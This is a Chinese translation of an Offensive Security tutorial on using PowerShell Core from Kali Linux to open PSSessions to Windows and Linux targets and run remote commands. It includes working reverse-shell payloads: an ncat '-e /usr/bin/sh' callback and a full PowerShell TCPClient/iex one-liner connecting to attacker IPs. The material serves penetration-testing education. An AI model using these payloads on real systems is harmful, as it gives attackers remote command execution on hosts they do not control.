kali linux超级用户_如何优雅的在Linux上使用Powershell]

384939226a159ead4f7119046caa363d.gif点击上方“蓝字”关注我们吧!529f0015d49bc0f26e5337e0883892a6.gif

译文声明
本文是翻译文章,文章原作者 TJ Null

文章来源:https://www.offensive-security.com
原文地址:

https://www.offensive-security.com/offsec/kali-linux-powershell-pentesting/

译文仅供参考,具体内容表达以及含义原文为准。

fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

前言

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png

在最近的几年中,PowerShell显然已经成为了一种功能强大的脚本语言,它是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。不仅如此,微软还推出了Powershell Core,可以跨平台使用,支持 LinuxMac

Linux上使用PowerShell可以带来诸多好处,例如:
•可以在PowerShell中编写和调试脚本
•连接到Windows目标靶机
•传输文件

但是目前,PowerShell在Linux平台上功能还不够完善,例如:
•所支持的cmdlet不完善
•不能够在PowerShell中直接使用sudoexec•不支持WMI或CIM

在本文中,我们将展示如何在Kali上建立PSSession到我们的靶机(Windows和Linux)。在Powshell中,PSSessioncmdlet允许我们创建到本地或远程计算机的持久连接。通过PSSession我们可以实现在加密传输内容的同时与目标主机进行交互。(注意:本文中使用的命令已在Windows10x64 Pro,2004版和Ubuntu20.04LTS上进行了测试。)fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

在WINDOWS上获取PSSESSION

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png要想与PSSession进行交互,首先在Windows我们需要启用PSremoting并具有访问系统的凭据。当您启用PSRemoting时,它使用默认的HTTP 5985端口进行连接。WS-Management协议会帮助我们加密通过网络传输的所有 Windows PowerShell 内容。在本次测试中,使用默认选项即可。在Kali上首次使用Powshell时,需要安装一个单独的软件包,并且需要更改一些配置才能获取PSSession。我们需要安装gss ntlmssp,并在PowerShell目录中创建两个符号链接,以确保PowerShell中的WSman模块正常工作。默认情况下,我们的PowerShell位于以下路径:

/ opt / Microsoft / powershell / 7

切换到到上面的目录。在该目录中,添加符号链接:

ln -s /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2 libssl.so.1.0.0ln -s /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2 libcrypto .so.1.0.0
准备工作已经完成,让我们打开kali系统上Powshell终端,键入以下命令来创建一个新的PSSession。$offsecsession=New-PSSession-ComputerName-Authentication Negotiate -Credential
使用正确的凭据,我们就可以实现在PSSession中与Windows目标进行交互。运行结果如下图所示:

c34a4b359c16d76f5fdae2ccb86dccdd.png

创建PSSession后,我们可以使用Invoke-Command的Session参数在PSSession中运行命令或脚本。我们还可以通过Invoke-Command命令实现与多台主机进行交互。以下是一个演示示例,在多台主机上执行hostname命令:Invoke-Command -Session $offsecsession -ScriptBlock {hostname}

2d5b28b2f9b6a0bc83a4ea7b5686c963.png

通过这种方法,我们就可以在PSSession后台执行命令。ScriptBlock还允许我们同时执行多条命令,只需要使用‘;’将每条命令隔开即可。下面是演示示例:

Invoke-Command -Session $offsecsession -ScriptBlock{hostname; whoami;whoami/priv}

8bf61604ba4659d5df73c80e578bcd4b.png

命令回显:

63fd92f31ebc09f8088fcca9db57c992.png

如上图所示,我们可以获取系统的主机名,当前域和用户的名称,以及当前用户的安全权限。接下来,让我们看一下如何在Linux上获得PSSession。fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

在LINUX系统上获取PSSESSION

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.pngPSSession不仅局限于Windows,在Linux上运行Powershell同样允许我们在Linux靶机中启动PSSession。我们需要先运行ssh服务,同时修改sshd_config文件:•PasswordAuthentication yes•Optional: PubkeyAuthentication yes
在Ubuntu上键入以下命令:Subsystem powershell /snap/bin/pwsh --sshs -NoLogo -NoProfile

53311b5cb04bef4f08362a990f435e76.png

接着我们保存对sshd_config的修改,并且重启ssh服务。这样我们便可以在Linux靶机上获得PSSession:

df3f62338a309fa3badcdab5d2da6e42.png

我们还可以通过“ Invoke-Command” cmdlet在PSSession中运行Bash命令或PowerShell命令。

76aebc55b211420c7a62de8a0efacef9.png

Tips:在Linux并非支持所有的cmdlet命令。但是随着PowerShell的不断更新与完善,支持cmdlet的指令集也会不断更新。目前我们已经实现在Linux靶机上获取PSSession,下面让我们看一下如何使用Powshell在Linux获取反向shell。

fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

在LINUX上获取反向SHELL

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png在渗透测试中,PowerShell还可以进行反弹shell的操作。我们可以在靶机上执行二进制文件,传输文件,读写文件。我将在这一小节中,演示如何通过ncat命令获取反弹shell。我们使用一个名为Start-Process的cmdlet可以帮助我们达到目的。下面是一个演示示例:Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist'192.168.117.129 443 -e /usr/bin/sh'

7b37881809ba4aeb0583302e74a98e4e.png

我们使用了Start-Process命令运行了ncat,并向kali回调了一个shell。我们只需要在kali上保持监听即可。如下图所示,我们成功的在kali上获取了一个反向shell:

a01a3dece16eed90778ec9e93a87af8e.png

我们还可以使用pwsh后边跟上-Command参数,直接在bash中执行Powshell命令:pwsh-Command"Start-Process/usr/bin/ncat-NoNewWindow-Argumentlist '192.16.117.129 443 -e /usr/bin/sh'"

2f74f5aa029ba7538e2f2eccb4a7c9e6.png

运行结果如下图所示,我们同样获取了一个反弹shell:

f68442994dc204afbb3fb0d4eed8c9ab.png

简化操作


我们甚至还可以借助Powshell本身的功能来进行反弹shell。脚本如下:
$callback = New - Object System.Net.Sockets.TCPClient("IP ADDRESS", PORT);$stream = $callback.GetStream();[byte[]]$bytes = 0..65535|% {0};while (($i = $stream.Read($bytes, 0, $bytes.Length))  - ne 0)  {;$data = (New - Object  - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2 > &1 | Out - String );$sendback2 = $sendback  +  "PS "  +  (pwd).Path  +  "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$callback.Close()
我们可以把脚本集中放置在一行,并将其保存为文本文件(例如posh.ps1):$callback=New-Object System.Net.Sockets.TCPClient("192.168.117.134",443);$stream=$callback.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne0){;$data=(New-Object-TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback +"PS"+(pwd).Path+">";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()当靶机执行此脚本时,同样可以达到反弹shell的目的:

9891c397ca408d050bccd1d1f771149e.png

我们可以在shell中运行bash或powershell命令:

4162f1101f71ca471a9de2cc38f3e3cd.png

fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

结论

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png
如今,powshell已经成为了渗透测试中一大利器。本文只是演示了几个简单的示例,Powshell功能远不仅此。从pentester的角度来看,我们使用了PowerShell拓展了我们后渗透测试的手段。防御者也通过Powershell来检测攻击者的行为。后续,我们将继续研究PowerShell在linux更多利用手法。fd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png90a295115ea552e109ea4ce75f9576b3.gif

参考文献

c28148e9e5ee48f24045b91dc8113b89.giffd17618e2b488f1e4c4349b510f8f10e.gifbae70abb69aea5e32d8c309a4fcb2b20.png

Kali Bug Report
(https://bugs.kali.org/view.php?id=5915)PowerShell (GitHub)
(https://github.com/PowerShell/PowerShell/issues/11374)Invoke-Command (Microsoft)
(https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7)bca253a19ea62b6dd7e7b25a28fbe435.gif4d9be9417380ddf7b401287b7b6bec9a.png7fb23a6f4624540b8a27c0d8144b6e4f.png13da7254db91c7c2dada45ddba312636.gif点分享dfc522b569bcb0aef330c601e826d2f7.gif点点赞73fda8403004bae3750297d978d2f532.gif点在看

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/277619.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Laravel5.5 MySQL配置、读写分离及操作

2019独角兽企业重金招聘Python工程师标准>>> Laravel 让连接不同数据库以及对数据库进行增删改查操作: 参考:http://laravelacademy.org/post/854.html 配置读写分离 应用的数据库配置位于 config/database.php(但是数据库用户及密码等敏感信…

Kinect开发笔记之八C#实现Kinect声音的追踪

声明:本文中特征多针对Kinect for windows 1.0,新版的Kinect Sensor可能有部分数值或方法有一定变化,请知晓。Kinect的声音来自下方的4个麦克风组成的麦克风阵列。传感器内含数字信号处理器,可以用来强化接受声音的清晰度同时处理…

国服服务器_《Minecraft我的世界》第三方服务器的基本储备

今天我想单独来聊一聊Minecraft我的世界第三方服务器的发展。世外荒原玩家作品我来到头条的第一篇文章就发表了一篇我对Minecraft现状的看法,现在国服的状态对老玩家不是很友好。(这不说明国服的运营战略路线是有问题的)因此诞生了一大堆第三方服务器。世外荒原玩家…

Unity中Time.deltaTime的含义及其应用

相信Unity的开发者或者初学者都对Time.deltaTime并不陌生,我们经常会在代码中用到或者看到它,今天去官方的API文档查了一下,感觉它非常有用,所以翻译一下以引导初学者。 原文网址: file:///Applications/Unity/Unity…

unity3d曲线text文本

测试.pngusing System; using System.Collections.Generic;namespace UnityEngine.UI.Extensions {/// <summary>/// Curved text.让文本按照曲线进行显示 【注意对Image的变形 也是可以的】/// 说明&#xff1a; 对Text的操作就和 shadow 和 outline 组件类似。/// <…

Unity中Quaternion的含义及其使用

官网API文档&#xff1a; file:///Applications/Unity/Unity.app/Contents/Documentation/html/en/ScriptReference/Quaternion.html Quaternion的意思是四元数&#xff0c;用于代表旋转。 它们是紧致的&#xff0c;不会产生万向节死锁并且能够很容易被插值。Unity内使用Quat…

Python PIPEs

2019独角兽企业重金招聘Python工程师标准>>> https://www.python-course.eu/pipes.php https://www.tutorialspoint.com/python/os_pipe.htm 转载于:https://my.oschina.net/zungyiu/blog/1860857

延时消息_Handler的消息延时是怎么实现的

消息延时做了什么特殊处理&#xff1f;是发送延时&#xff0c;还是消息处理延时&#xff1f;延时的精度如何&#xff1f;通常我们使用Handler的消息延时都是调用sendMessageDelayed函数实现的&#xff0c;其中delayMillis是需要延时的毫秒。通过跟踪sendMessageDelayed函数可以…

4 关卡流 进阶_全息武器全解析,记住4个点全区第一就是你!

实不相瞒&#xff0c;每次看着全息武器糖糖都感觉自己像钢铁侠高端大气上档次&#xff0c;低调奢华有内涵那么问题来了&#xff01;这个全息武器究竟该怎么玩才能成为真正的钢铁侠&#xff1f;我的使命之全息武器【作者&#xff1a;D38激战阿曼——潜龙小生】全息武器在属性增加…

【渗透过程】嘉缘网站 --测试

声明&#xff1a;本片文章测试网站为测试靶场 信息收集阶段&#xff1a; 首先使用了一些常见的扫描工具&#xff1a;nmap 御剑 使用nmap扫描端口 发现网站开放了 135 139 445 3306 等端口 这里可以看到网站开放了一些危害较高端口&#xff1a;135 225等 使用御剑扫描到一些敏感…

文档过期打不开怎么办_标准的产品需求文档在这里!(详细说明版)(2)

接着上篇继续写&#xff0c;上篇请点击标准的产品需求文档在这里&#xff01;(详细说明版)(1)入口已经写完&#xff0c;读此文档的无论是研发人员还是测试都已经知晓此需求需要做的从哪里进入&#xff0c;接下来就是主菜了&#xff0c;进入以后该干嘛。进入以后当然就是新的页面…

Macbook全系列详细分析及购机指南

时至今日&#xff0c;极佳的用户体验、强大的功能、独特的设计感、广阔的市场和无可比拟的品牌魅力已经让苹果公司各种电子产品的迅速普及&#xff0c;其中Macbook逐渐被越来越多的人所青睐&#xff0c;尤其是从事一些特定行业的工作者&#xff08;比如IT、电信、互联网以及艺术…

惠普m1005连接电脑步骤_电脑连接电视机详细步骤方法图文

电脑连接电视机有什么好处呢&#xff1f;小编想到了几点&#xff0c;那就是屏幕大&#xff0c;而且可以在电视机上使用网络看到自己想看的剧。还有就是可以更多的人一起做着来看。所以总的来说电脑连接电视机还是好处比较多的。下面我就来告诉你们电脑怎么连接电视机。有的时候…

对程序实施精准手术!阿里安全猎户座实验室首创“自动逆向机器人”

近日举办的看雪安全开发者峰会上&#xff0c;阿里安全猎户座实验室首度向外界展示了最新的研究成果——“自动逆向机器人”。该机器人可以像医生一样“望闻问切”&#xff0c;对程序进行显微镜级别的勘察&#xff0c;并完整“回放”其运作过程&#xff0c;因此&#xff0c;可以…

《魔兽世界》的魅力究竟在哪儿?

写在前面&#xff1a;《魔兽世界》&#xff08;World of Warcraft&#xff0c;后面简称WOW&#xff09;&#xff0c;是由暴雪开发的一款大型角色扮演网络游戏&#xff0c;曾经付费的正式用户一度超过1150万人&#xff0c;覆盖244个国家和地区&#xff0c;是曾经的“世界第一网游…

Service Mesh所应对的8项挑战

2019独角兽企业重金招聘Python工程师标准>>> Lori Macvittie 微服务架构是把双刃剑&#xff0c;我们享受它带来的开发速度&#xff08;development velocity&#xff09;&#xff0c;却也不得不面对服务间通讯带来的复杂性问题。 目前大多数扩展容器化微服务的架构多…

什么叫内部银团_什么是紫钛晶?紫钛晶是不是天然水晶?

都说紫钛晶是紫水晶与钛晶的结合&#xff0c;听上去好像这种水晶不是天然的&#xff0c;像是人工合成的&#xff0c;事实上并非如此&#xff0c;紫钛晶也是天然形成的水晶&#xff0c;由于内部的包裹体是金色的&#xff0c;因此被称为紫钛晶。和菩心晶舍家的晶舞倾城一起了解紫…

如何使用Squid服务来构建=》传统和透明代理服务器,通俗易懂!

1、缓存代理概述&#xff1a; 作为应用层的代理服务软件&#xff0c;Squid主要提供缓存加速和应用层过滤控制的功能 2、代理的工作机制&#xff1a; &#xff08;1&#xff09;当客户机通过代理来请求web页面时&#xff0c;指定的代理服务器会先检查自己的缓存&#xff0c;若缓…

Bootstrap开发框架视频整理

最近到客户处进行实地培训&#xff0c;整理了很多培训的材料&#xff0c;现将它们录制相关主题的视频&#xff0c;作为我的Bootstrap开发框架的知识补充&#xff0c;希望给感兴趣的朋友进行了解。培训内容主要包括基础框架部分、MVC框架部分、Bootstrap框架部分、Bootstrap重要…

【c基础】入门语法

%d:占位符 表示要输出一个整形数。 %f:为float 浮点数 %lf:为double型 双精度浮点数 \n:换行 const:定义一个常量,一旦被初始化就不能修改&#xff0c;只读的变量&#xff08;read-only variable&#xff09;。 整数运算 的结果是整数 如果有小数就抛弃没有考虑四舍五入。 一&a…